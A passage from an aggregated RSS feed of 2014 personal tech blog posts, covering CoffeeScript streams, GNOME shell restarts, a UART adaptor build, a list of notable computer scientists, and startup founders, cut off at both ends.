&lt;/span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;for &lt;/span&gt;&lt;span&gt;result &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;in &lt;/span&gt;&lt;span&gt;data.results
&lt;/span&gt;&lt;span&gt;                        @pushed &lt;/span&gt;&lt;span style="background-color: #f5f5f5; font-weight: bold; color: #b52a1d;"&gt;+&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;= &lt;/span&gt;&lt;span style="color: #0086b3;"&gt;1
&lt;/span&gt;&lt;span&gt;                        @push result
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;if @&lt;/span&gt;&lt;span&gt;pushed &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;gt;= @&lt;/span&gt;&lt;span&gt;resultCount
&lt;/span&gt;&lt;span&gt;                            @push null
&lt;/span&gt;&lt;span&gt;                            &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;return
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;                    @pushBlock()
&lt;/span&gt;&lt;span&gt;                &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;else
&lt;/span&gt;&lt;span&gt;                    @push null
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that the &lt;a href="https://developers.google.com/web-search/"&gt;Google web search api is deprecated&lt;/a&gt;.
This is just some example code demonstrating what I could figure out from streams.
I'm sure that there is a cleaner way of doing something like this and would love tips and improvements in the comments.&lt;/p&gt;</description><author>Jeroen Pelgrims</author><pubDate>Fri, 30 May 2014 17:50:00 GMT</pubDate><guid isPermaLink="true">https://jeroenpelgrims.com/node-streams-in-coffeescript/</guid></item><item><title>Gravity</title><link>https://olshansky.info/movie/gravity/</link><description>Olshansky's review of Gravity</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 30 May 2014 16:23:08 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/gravity/</guid></item><item><title>In Praise of Instapaper</title><link>https://zacs.site/blog/in-praise-of-instapaper.html</link><description>&lt;p&gt;Shortly after Marco Arment and Dan Benjamin started &lt;a href="http://5by5.tv/buildanalyze"&gt;Build &amp;#38; Analyze&lt;/a&gt; in 2010, I bought Instapaper. I did not buy this app out of any particular need for it, though, but rather out of a desire to give Marco a little something in exchange for the hours upon hours of enjoyment he had provided me in the form of his podcast. Fast-forward just a few months, however, and&amp;#160;&amp;#8212;&amp;#160;just as I do now&amp;#160;&amp;#8212;&amp;#160;I had begun to use Instapaper daily. Even so, it took me nearly four years&amp;#160;&amp;#8212;&amp;#160;until just a few weeks ago, in fact&amp;#160;&amp;#8212;&amp;#160;to realize that the true value of this service did not lie in its ability to strip away ads and annoying sidebars nor even keep my saved articles available for reading offline, nor did its value stem from its intended use case as a way to time-shift the reading experience. Instead, I found Instapaper incredibly handy because of the psychological tricks it lets me play on myself.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/in-praise-of-instapaper.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 30 May 2014 10:13:07 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/in-praise-of-instapaper.html</guid></item><item><title>RoboCop</title><link>https://olshansky.info/movie/robocop/</link><description>Olshansky's review of RoboCop</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 30 May 2014 04:22:41 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/robocop/</guid></item><item><title>‘Gaming the Github streak’ as Shadab said!!</title><link>https://trigonaminima.github.io/2014/05/gaming-github/</link><description>You should read the following Blog post first - Gaming the Github Streak, written by my very good but asshole friend Shadab on his blog, Duffer’s Log. Yeah, he is a real duffer!</description><author>Playground</author><pubDate>Fri, 30 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2014/05/gaming-github/</guid></item><item><title>It's summer!</title><link>https://liza.io/its-summer/</link><description>&lt;p&gt;It&amp;rsquo;s summer!!! Swedish weather has gotten &lt;em&gt;so nice&lt;/em&gt; over the past week or so. It&amp;rsquo;s still a bit uncertain and there are cold days, but there have been a few unbelievably nice days where not being outside feels like some sort of crime.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Thu, 29 May 2014 21:05:31 GMT</pubDate><guid isPermaLink="true">https://liza.io/its-summer/</guid></item><item><title>Blue Ruin</title><link>https://olshansky.info/movie/blue_ruin/</link><description>Olshansky's review of Blue Ruin</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 29 May 2014 18:28:18 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/blue_ruin/</guid></item><item><title>Restarting GNOME shell via SSH</title><link>https://purpleidea.com/blog/2014/05/29/restarting-gnome-shell-via-ssh/</link><description>&lt;p&gt;When GNOME shell breaks, you get to keep both pieces. The nice thing about shell failures in GNOME 3, is that if you&amp;rsquo;re able to do a restart, the active windows are &lt;a href="https://bugzilla.gnome.org/show_bug.cgi?id=695487"&gt;mostly not disturbed&lt;/a&gt;. The common way to do this is to type &lt;em&gt;ALT-F2&lt;/em&gt;, &lt;em&gt;r&lt;/em&gt;, &amp;laquo;em&amp;gt;ENTER&lt;/em&gt;&amp;gt;.&lt;/p&gt;
&lt;p&gt;Unfortunately, you can&amp;rsquo;t always type that in if your shell is very borked. If you are lucky enough to have SSH access, and another machine, you can log in remotely and run this script:&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 29 May 2014 05:18:35 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/05/29/restarting-gnome-shell-via-ssh/</guid></item><item><title>Alex Mark: Founder of Truthly</title><link>https://solomon.io/alex-mark-founder-of-truthly/</link><description>Alex Mark is a designer and the founder of Truthly, a health research aggregator.</description><author>Sam Solomon</author><pubDate>Thu, 29 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/alex-mark-founder-of-truthly/</guid></item><item><title>Making a RS-232/UART adaptor</title><link>https://blog.erethon.com/blog/2014/05/28/making-a-rs-232/uart-adaptor/</link><description>&lt;p&gt;
A couple of months ago I wanted to experiment with the serial console
of an old router I had laying around. Not wanting to buy a &lt;code class="verbatim"&gt;UART&lt;/code&gt; to
 &lt;code class="verbatim"&gt;RS-232&lt;/code&gt; adaptor, I decided to make one myself. After all, I had some
spare &lt;a href="http://www.maximintegrated.com/en/products/interface/transceivers/MAX3232.html"&gt;MAX3232&lt;/a&gt; left over from a previous project (for which I still
haven't blogged).&lt;/p&gt;</description><author>Erethon's Corner</author><pubDate>Wed, 28 May 2014 22:54:33 GMT</pubDate><guid isPermaLink="true">https://blog.erethon.com/blog/2014/05/28/making-a-rs-232/uart-adaptor/</guid></item><item><title>Not so unique GUID</title><link>https://boyter.org/2014/05/unique-guid/</link><description>&lt;p&gt;I have been doing a lot of work with the Sitecore CMS recently. Once of the things you quickly learn is how it relies on GUID&amp;rsquo;s for pretty much everything. This means of course when you start testing and need to supply GUID&amp;rsquo;s into your tests that you end up with lots of GUIDs that look like the following sprinkled through your code {11111111-1111-1111-1111-111111111111}&lt;/p&gt;
&lt;p&gt;Today I remarked that we should be using things like &amp;ldquo;deadbeef&amp;rdquo; for the first part of the GUID with a colleague. He suggested that we should try and actually write something. With a little bit of 1337 speak this is actually possible. Naturally we got back to work, but with a little free time I quickly coded up a simple Python application to generate &amp;ldquo;phrased&amp;rdquo; GUID&amp;rsquo;s. Some examples follow,&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 28 May 2014 13:43:13 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/05/unique-guid/</guid></item><item><title>Who is who in computer science</title><link>https://danielpecos.com/2014/05/28/who-is-who-computer-science/</link><description>&lt;p&gt;&lt;img alt="Who is who?" class="alignright" height="127" src="https://danielpecos.com/assets/2014/05/einstein_who-300x191.jpg" width="200" /&gt;I have problems remembering people&amp;rsquo;s names. Really, I&amp;rsquo;m not good at it. And that&amp;rsquo;s no exception with computer technology. That&amp;rsquo;s why I&amp;rsquo;ve written this post, to try to improve and persist those names in my head. Let&amp;rsquo;s see who is who in nowadays computer science.&lt;/p&gt;
&lt;h2 id="methodologies"&gt;Methodologies&lt;/h2&gt;
&lt;table&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;img alt="KentBeck" class="alignleft" height="100" src="https://danielpecos.com/assets/2014/05/KentBeck.jpg" width="75" /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;Kent Beck&amp;lt;/strong&amp;gt; (&amp;lt;a href=&amp;quot;http://en.wikipedia.org/wiki/Kent_Beck&amp;quot;&amp;gt;wikipedia&amp;lt;/a&amp;gt;, &amp;lt;a href=&amp;quot;https://twitter.com/KentBeck&amp;quot;&amp;gt;twitter&amp;lt;/a&amp;gt;) &amp;amp;#8211; XP, Agile, TDD
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;

&amp;lt;td width=&amp;quot;50%&amp;quot;&amp;gt;
  &amp;lt;a href=&amp;quot;http://martinfowler.com/&amp;quot;&amp;gt;&amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/martin_fowler.png&amp;quot; alt=&amp;quot;martin_fowler&amp;quot; width=&amp;quot;100&amp;quot; height=&amp;quot;85&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;a href=&amp;quot;http://martinfowler.com/&amp;quot;&amp;gt;Martin Fowler&amp;lt;/a&amp;gt; &amp;lt;/strong&amp;gt;(&amp;lt;a href=&amp;quot;http://en.wikipedia.org/wiki/Martin_Fowler&amp;quot;&amp;gt;wikipedia&amp;lt;/a&amp;gt;, &amp;lt;a href=&amp;quot;https://twitter.com/martinfowler&amp;quot;&amp;gt;twitter&amp;lt;/a&amp;gt;) &amp;amp;#8211; OOP, Agile, TDD
&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;img alt="photo_martin_r" class="alignleft" height="100" src="https://danielpecos.com/assets/2014/05/photo_martin_r.jpg" width="75" /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;Robert Cecil Martin &amp;amp;#8211; &amp;lt;em&amp;gt;Uncle Bob&amp;lt;/em&amp;gt;&amp;lt;/strong&amp;gt; (&amp;lt;a href=&amp;quot;http://en.wikipedia.org/wiki/Robert_Cecil_Martin&amp;quot;&amp;gt;wikipedia&amp;lt;/a&amp;gt;, &amp;lt;a href=&amp;quot;https://twitter.com/unclebobmartin&amp;quot;&amp;gt;twitter&amp;lt;/a&amp;gt;) &amp;amp;#8211; Software Craftmanship, Agile Manifesto
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;

&amp;lt;td width=&amp;quot;50%&amp;quot;&amp;gt;
  &amp;lt;a href=&amp;quot;http://martinfowler.com/&amp;quot;&amp;gt;&amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/j-b-rainsberger.jpg&amp;quot; alt=&amp;quot;j-b-rainsberger&amp;quot; width=&amp;quot;100&amp;quot; height=&amp;quot;100&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;a href=&amp;quot;http://www.jbrains.ca/&amp;quot;&amp;gt;J. B. Rainsberger&amp;lt;/a&amp;gt; &amp;lt;/strong&amp;gt;(&amp;lt;a href=&amp;quot;http://en.wikipedia.org/wiki/J._B._Rainsberger&amp;quot;&amp;gt;wikipedia&amp;lt;/a&amp;gt;, &amp;lt;a href=&amp;quot;https://twitter.com/jbrains&amp;quot;&amp;gt;twitter&amp;lt;/a&amp;gt;) &amp;amp;#8211; Agile
&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;img alt="Mike Cohn" class="alignleft" height="100" src="https://danielpecos.com/assets/2014/05/mike-cohn.jpg" width="90" /&gt;&lt;strong&gt;&lt;a href="http://www.mountaingoatsoftware.com/company/about-mike-cohn"&gt;Mike Cohn &lt;/a&gt;&lt;/strong&gt;(&lt;a href="http://en.wikipedia.org/wiki/Mike_Cohn"&gt;wikipedia&lt;/a&gt;) &amp;#8211; Scrum
    &lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;h2 id="technology-and-languages"&gt;Technology and Languages&lt;/h2&gt;
&lt;table&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;a href="http://www.w3.org/People/Berners-Lee/"&gt;&lt;img alt="bernerslee" class="alignleft" height="75" src="https://danielpecos.com/assets/2014/05/bernerslee-300x226.jpeg" width="100" /&gt;&lt;strong&gt;Tim Berners-Lee&lt;/strong&gt;&lt;/a&gt; (&lt;a href="http://en.wikipedia.org/wiki/Tim_Berners-Lee"&gt;wikipedia&lt;/a&gt;) &amp;#8211; HTTP
    &lt;/td&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;td width=&amp;quot;50%&amp;quot;&amp;gt;
  &amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/dijkstra-300x233.jpg&amp;quot; alt=&amp;quot;dijkstra&amp;quot; width=&amp;quot;100&amp;quot; height=&amp;quot;78&amp;quot; /&amp;gt;&amp;lt;/p&amp;gt;

  &amp;lt;div&amp;gt;
    &amp;lt;p&amp;gt;
      &amp;lt;strong&amp;gt;Edsger W. Dijkstra&amp;lt;/strong&amp;gt; (&amp;lt;a href=&amp;quot;http://en.wikipedia.org/wiki/Edsger_W._Dijkstra&amp;quot;&amp;gt;wikipedia&amp;lt;/a&amp;gt;) &amp;amp;#8211; Sortest Path Algorithm
    &amp;lt;/p&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;img alt="linus-torvalds" class="alignleft" height="100" src="https://danielpecos.com/assets/2014/05/linus-torvalds-197x300.jpg" width="66" /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;Linus Torvalds&amp;lt;/strong&amp;gt; (&amp;lt;a href=&amp;quot;http://en.wikipedia.org/wiki/Linus_Torvalds&amp;quot;&amp;gt;wikipedia&amp;lt;/a&amp;gt;) &amp;amp;#8211; Linux
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;

&amp;lt;td width=&amp;quot;50%&amp;quot;&amp;gt;
  &amp;lt;a href=&amp;quot;http://www.stroustrup.com/&amp;quot;&amp;gt;&amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/Bjarne-Stroustrup.jpg&amp;quot; alt=&amp;quot;Bjarne-Stroustrup&amp;quot; width=&amp;quot;100&amp;quot; height=&amp;quot;75&amp;quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;a href=&amp;quot;http://www.stroustrup.com/&amp;quot;&amp;gt;Bjarne Stroustrup&amp;lt;/a&amp;gt; &amp;lt;/strong&amp;gt;(&amp;lt;a href=&amp;quot;http://en.wikipedia.org/wiki/Bjarne_Stroustrup&amp;quot;&amp;gt;wikipedia&amp;lt;/a&amp;gt;) &amp;amp;#8211; C++
&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;a href="http://lerdorf.com"&gt;&lt;img alt="Rasmus Lerdorf" class="alignleft" height="100" src="https://danielpecos.com/assets/2014/05/lerdorf-200x300.jpg" width="67" /&gt;&lt;/a&gt;&lt;strong&gt;&lt;a href="http://lerdorf.com"&gt;Rasmus Lerdorf&lt;/a&gt; &lt;/strong&gt;(&lt;a href="http://en.wikipedia.org/wiki/Rasmus_Lerdorf"&gt;wikipedia&lt;/a&gt;, &lt;a href="https://twitter.com/rasmus"&gt;twitter&lt;/a&gt;) &amp;#8211; PHP
    &lt;/td&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;td width=&amp;quot;50%&amp;quot;&amp;gt;
  &amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/james-gosling-300x200.jpg&amp;quot; alt=&amp;quot;james-gosling&amp;quot; width=&amp;quot;100&amp;quot; height=&amp;quot;67&amp;quot; /&amp;gt;&amp;lt;/p&amp;gt;

  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;James Gosling&amp;lt;/strong&amp;gt; (&amp;lt;a href=&amp;quot;http://en.wikipedia.org/wiki/James_Gosling&amp;quot;&amp;gt;wikipedia&amp;lt;/a&amp;gt;) &amp;amp;#8211; Java
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;a href="https://www.python.org/~guido/"&gt;&lt;img alt="van-rossum" class="alignleft" height="100" src="https://danielpecos.com/assets/2014/05/van-rossum-290x300.png" width="97" /&gt;&lt;/a&gt;&lt;a href="https://www.python.org/~guido/"&gt;&lt;strong&gt;Guido van Rosum&lt;/strong&gt; &lt;/a&gt;(&lt;a href="http://en.wikipedia.org/wiki/Guido_van_Rossum"&gt;wikipedia&lt;/a&gt;, &lt;a href="https://twitter.com/gvanrossum"&gt;twitter&lt;/a&gt;) &amp;#8211; Python
    &lt;/td&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;td width=&amp;quot;50%&amp;quot;&amp;gt;
  &amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/matz-199x300.jpg&amp;quot; alt=&amp;quot;matz&amp;quot; width=&amp;quot;67&amp;quot; height=&amp;quot;100&amp;quot; /&amp;gt;&amp;lt;/p&amp;gt;

  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;Yukihiro &amp;amp;#8220;&amp;lt;em&amp;gt;matz&amp;lt;/em&amp;gt;&amp;amp;#8221; Matsumoto&amp;lt;/strong&amp;gt; (&amp;lt;a href=&amp;quot;http://en.wikipedia.org/wiki/Yukihiro_Matsumoto&amp;quot;&amp;gt;wikipedia&amp;lt;/a&amp;gt;, &amp;lt;a href=&amp;quot;https://twitter.com/yukihiro_matz&amp;quot;&amp;gt;twitter&amp;lt;/a&amp;gt;) &amp;amp;#8211; Ruby
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;a href="https://brendaneich.com/"&gt;&lt;img alt="brendan-eich" class="alignleft" height="100" src="https://danielpecos.com/assets/2014/05/brendan-eich-300x300.jpg" width="100" /&gt;&lt;/a&gt;&lt;strong&gt;&lt;a href="https://brendaneich.com/"&gt;Brendan Eich&lt;/a&gt; &lt;/strong&gt;(&lt;a href="http://en.wikipedia.org/wiki/Brendan_Eich"&gt;wikipedia&lt;/a&gt;, &lt;a href="https://twitter.com/BrendanEich"&gt;twitter&lt;/a&gt;) &amp;#8211; Javascript
    &lt;/td&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;td width=&amp;quot;50%&amp;quot;&amp;gt;
  &amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/ryan.jpg&amp;quot; alt=&amp;quot;ryan&amp;quot; width=&amp;quot;98&amp;quot; height=&amp;quot;100&amp;quot; /&amp;gt;&amp;lt;/p&amp;gt;

  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;Ryan Lienhart&amp;lt;/strong&amp;gt; Dahl &amp;amp;#8211; Node.js
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;h2 id="books"&gt;Books&lt;/h2&gt;
&lt;p&gt;Well, those here are not strictly &lt;em&gt;people&lt;/em&gt;, but books and their writers.&lt;/p&gt;
&lt;table&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;img alt="design-patterns" class="alignleft" height="100" src="https://danielpecos.com/assets/2014/05/design-patterns-228x300.jpg" width="76" /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;Design Patterns: Elements of Reusable Object-Oriented Software&amp;lt;/strong&amp;gt;  &amp;amp;#8211; &amp;lt;em&amp;gt;&amp;lt;strong&amp;gt;Gang of Four&amp;lt;/strong&amp;gt;&amp;lt;/em&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;

&amp;lt;td width=&amp;quot;50%&amp;quot;&amp;gt;
  &amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/The_pragmatic_programmer-238x300.jpg&amp;quot; alt=&amp;quot;The_pragmatic_programmer&amp;quot; width=&amp;quot;80&amp;quot; height=&amp;quot;100&amp;quot; /&amp;gt;&amp;lt;/p&amp;gt;

  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;The Pragmatic Programmer: From Journeyman to Master&amp;lt;/strong&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;img alt="Martin_MECH.qxd" class="alignleft" height="100" src="https://danielpecos.com/assets/2014/05/clean-code-225x300.jpg" width="75" /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;Clean Code: A Handbook of Agile Software Craftsmanship&amp;lt;br /&amp;gt; &amp;lt;/strong&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;

&amp;lt;td width=&amp;quot;50%&amp;quot;&amp;gt;
  &amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/the-clean-coder-231x300.jpg&amp;quot; alt=&amp;quot;the-clean-coder&amp;quot; width=&amp;quot;77&amp;quot; height=&amp;quot;100&amp;quot; /&amp;gt;&amp;lt;/p&amp;gt;

  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;The Clean Coder: A Code of Conduct for Professional Programmers (Robert C. Martin Series)&amp;lt;br /&amp;gt; &amp;lt;/strong&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;img alt="code-complete-2" class="alignleft" height="100" src="https://danielpecos.com/assets/2014/05/code-complete-2-246x300.jpg" width="82" /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;Code Complete: A Practical Handbook of Software Construction, Second Edition&amp;lt;br /&amp;gt; &amp;lt;/strong&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;

&amp;lt;td width=&amp;quot;50%&amp;quot;&amp;gt;
  &amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/javascript_patterns-227x300.jpg&amp;quot; alt=&amp;quot;javascript_patterns&amp;quot; width=&amp;quot;76&amp;quot; height=&amp;quot;100&amp;quot; data-recalc-dims=&amp;quot;1&amp;quot; /&amp;gt;&amp;lt;/p&amp;gt;

  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;JavaScript Patterns&amp;lt;br /&amp;gt; &amp;lt;/strong&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td width="50%"&gt;
      &lt;img alt="JavaScript The Good Parts Cover" class="alignleft" height="100" src="https://danielpecos.com/assets/2014/05/JavaScript-The-Good-Parts-Cover-228x300.jpg" width="76" /&gt;&lt;br /&gt; &lt;img alt="douglas-crockford" class="alignleft" height="72" src="https://danielpecos.com/assets/2014/05/douglas-crockford-300x217.jpg" width="100" /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;JavaScript: The Good Parts&amp;lt;/strong&amp;gt; &amp;amp;#8211; &amp;lt;a href=&amp;quot;http://www.crockford.com&amp;quot;&amp;gt;Douglas Crockford&amp;lt;/a&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;

&amp;lt;td width=&amp;quot;50%&amp;quot;&amp;gt;
  &amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/javascript_allonge-232x300.jpg&amp;quot; alt=&amp;quot;javascript_allonge&amp;quot; width=&amp;quot;77&amp;quot; height=&amp;quot;100&amp;quot; data-recalc-dims=&amp;quot;1&amp;quot; /&amp;gt;&amp;lt;br /&amp;gt; &amp;lt;img class=&amp;quot;alignleft&amp;quot; src=&amp;quot;/assets/2014/05/Reg-Braithwaite-300x300.png&amp;quot; alt=&amp;quot;Reg-Braithwaite&amp;quot; width=&amp;quot;100&amp;quot; height=&amp;quot;100&amp;quot; data-recalc-dims=&amp;quot;1&amp;quot; /&amp;gt;&amp;lt;/p&amp;gt;

  &amp;lt;div&amp;gt;
    &amp;lt;strong&amp;gt;Javascript Allongé&amp;lt;/strong&amp;gt; &amp;amp;#8211; &amp;lt;a href=&amp;quot;http://braythwayt.com/&amp;quot;&amp;gt;Reg Braithwaite&amp;lt;/a&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;&lt;strong&gt;Do you miss some one? No problem, leave a comment and I&amp;rsquo;ll update this post.&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Wed, 28 May 2014 05:32:21 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2014/05/28/who-is-who-computer-science/</guid></item><item><title>Octopress here I come!</title><link>https://blog.erethon.com/blog/2014/05/28/octopress-here-i-come/</link><description>&lt;p&gt;
I decided to port my blog to &lt;a href="http://octopress.org/"&gt;Octopress&lt;/a&gt; and move away from Wordpress
after all these years. The reason for this is twofold:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I've really gotten used to working with vim, git, github and the
surrounding workflow.&lt;/li&gt;
&lt;li&gt;Static site generators are all the rage currently, so who am I to miss
out?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Why Octopress and not something based on Python like &lt;a href="http://docs.getpelican.com/en/3.3.0/"&gt;Pelican&lt;/a&gt; or
&lt;a href="http://getnikola.com/"&gt;Nikola&lt;/a&gt;? I simply decided to do something that will get me out of my
comfort zone and also teach me something new. I already know how to
use venv, let's see what RVM has to offer.&lt;/p&gt;</description><author>Erethon's Corner</author><pubDate>Wed, 28 May 2014 01:31:11 GMT</pubDate><guid isPermaLink="true">https://blog.erethon.com/blog/2014/05/28/octopress-here-i-come/</guid></item><item><title>Hacker Founders</title><link>https://blog.separateconcerns.com/2014-05-28-hacker-founders.html</link><description>&lt;p&gt;Note: I posted what follows &lt;a href="https://gist.github.com/catwell/5387617"&gt;as a Gist&lt;/a&gt; over a year ago. Recently I was looking for it and couldn’t find it, so I am re-posting it here for the next time.&lt;/p&gt;
&lt;p&gt;At the last Human Talks Paris meetup, Fabien Charbit (founder of &lt;a href="http://sush.io"&gt;sush.io&lt;/a&gt;) gave &lt;a href="http://humantalks.com/talks/131-developpeurs-montez-votre-boite"&gt;a talk&lt;/a&gt; in French whose title could be translated as: “Programmers, create your company!”&lt;/p&gt;
&lt;p&gt;Of course I agree with the idea, but at the end of it &lt;a href="http://www.youtube.com/watch?v=0nxDKTJ5Ovc&amp;amp;t=641s"&gt;I said&lt;/a&gt; I was disappointed because &lt;a href="https://www.youtube.com/watch?v=0nxDKTJ5Ovc&amp;amp;t=439s"&gt;he said&lt;/a&gt; you should find a marketing / commercial-minded CEO and be CTO. This is a commonplace, and I thought his message would be bolder than that. You can always discuss whether this is right or wrong but I think a tech startup where &lt;strong&gt;all&lt;/strong&gt; the founders are tech-minded makes a lot of sense.&lt;/p&gt;
&lt;p&gt;It turns out, Paul Graham &lt;a href="https://www.youtube.com/watch?v=BDA0t49AaZ4&amp;amp;t=1383s"&gt;said exactly that&lt;/a&gt; in a video interview back in 2005. He is is much more credible than me on the topic, so I reproduced what he has to say about it below.&lt;/p&gt;
&lt;p&gt;Note that Fabien later clarified that this was not an issue of degree or even competence, but rather that one of the founders should have the motivation to deal with the softer aspects of the company, so we agree after all. But it is still way too common in France to assume every startup’s CEO should have a business degree…&lt;/p&gt;
&lt;p&gt;Anyway, the question was: “What is the relationship in startups between programmers and the business types?”, and PG answered:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The relationship between the programmers and the business types? Well…
I believe, and Y Combinator is kind of an experiment to test this…
I believe that programmers can become business types. I think that business is
